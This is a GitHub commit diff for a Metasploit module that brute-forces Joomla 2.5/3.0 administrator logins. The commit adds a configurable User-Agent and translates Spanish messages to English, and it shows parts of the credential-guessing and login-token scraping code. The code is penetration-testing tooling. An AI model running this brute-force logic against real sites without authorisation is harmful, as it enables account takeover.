Skip to content

Commit ceff18d

Browse files
author
root
committed
Add modifiable UserAgent and translations to English
1 parent 3becfff commit ceff18d

File tree

1 file changed

+13
-13
lines changed

1 file changed

+13
-13
lines changed

modules/auxiliary/scanner/http/http_bruteforce_joomla.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
1818
def initialize
1919
super(
2020
'Name' => 'BruteForce Joomla 2.5 or 3.0',
21-
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0',
21+
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
2222
'Author' => [ 'luisco100[at]gmail[dot]com' ],
2323
'References' =>
2424
[
@@ -43,7 +43,8 @@ def initialize
4343
OptString.new('WORD_ERROR_2', [ false, "Second option for the word of message for detect that login fail","login.html"]),
4444
OptString.new('WORD_ERROR_DELAY', [ false, "The word of message for active the delay time" , "por favor intente de nuevo en un minuto"]),
4545
OptInt.new('TIME_DELAY', [false, 'The delay time ', 0]),
46-
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ])
46+
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
47+
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
4748
], self.class)
4849
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
4950
end
@@ -126,7 +127,7 @@ def do_login(user='admin', pass='admin')
126127
else
127128
vprint_error("#{target_url} - Failed to login as '#{user}'")
128129
if result == :delay
129-
print_status("Estableciendo retraso de un minuto")
130+
print_status("Establishing one minute delay")
130131
userpass_sleep_interval_add
131132
end
132133
return
@@ -163,7 +164,7 @@ def do_http_login(user,pass)
163164
referer_var = "http://#{rhost}/administrator/index.php"
164165
ctype = 'application/x-www-form-urlencoded'
165166

166-
uid, cval, valor_hidden = get_login_cookie
167+
uid, cval, hidden_value = get_login_cookie
167168

168169
if uid
169170
indice = 0
@@ -174,15 +175,15 @@ def do_http_login(user,pass)
174175
indice = indice +1
175176
end
176177
value_cookie = value_cookie
177-
print_status("Value of cookie ( #{value_cookie} ), Hidden ( #{valor_hidden}=1 )")
178+
print_status("Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
178179

179180
data = "#{user_var}=#{user}&"
180181
data << "#{pass_var}=#{pass}&"
181182
data << "lang=&"
182183
data << "option=com_login&"
183184
data << "task=login&"
184185
data << "return=aW5kZXgucGhw&"
185-
data << "#{valor_hidden}=1"
186+
data << "#{hidden_value}=1"
186187

187188
response = send_request_raw({
188189
'uri' => @uri_mod,
@@ -193,11 +194,11 @@ def do_http_login(user,pass)
193194
{
194195
'Content-Type' => ctype,
195196
'Referer' => referer_var,
196-
'User-Agent' => "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0",
197+
'User-Agent' => datastore['UserAgent'],
197198
},
198199
}, 30)
199200

200-
vprint_status("Código Primera respuesta : #{response.code}")
201+
vprint_status("First Response Code : #{response.code}")
201202

202203
if (response.code == 301 or response.code == 302 or response.code == 303) and response.headers['Location']
203204

@@ -279,26 +280,25 @@ def get_login_cookie
279280
#print_status("#{form[1]}")
280281

281282
if form.length == 1 #No es Joomla 2.5
282-
print_error("Probando Formulario 3.0")
283+
print_error("Testing Form Joomla 3.0")
283284
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
284285
end
285286

286287
if not form
287-
print_error("Formulario Joomla No Encontrado")
288+
print_error("Joomla Form Not Found")
288289
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
289290
end
290291

291292
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
292293
#print_status("Formulario Encontrado #{form[2]}")
293-
print_status("--------> Formulario Joomla Encontrado <--------")
294+
print_status("--------> Joomla Form Found <--------")
294295
#print_status("Campos Ocultos #{input_hidden[7]}")
295296
input_id = input_hidden[7].split("\"")
296297
#print_status("valor #{input_id[1]}")
297298
valor_input_id = input_id[1]
298299
end
299300

300-
#Obtener el nombre de la variable de cookie de Joomla
301-
indice_cookie = 0
301+
#Get the name of the cookie variable Joomla
302302
uid = Array.new
303303
cval = Array.new
304304
#print_status("cookie = #{res.headers['Set-Cookie']}")

0 commit comments

Comments
 (0)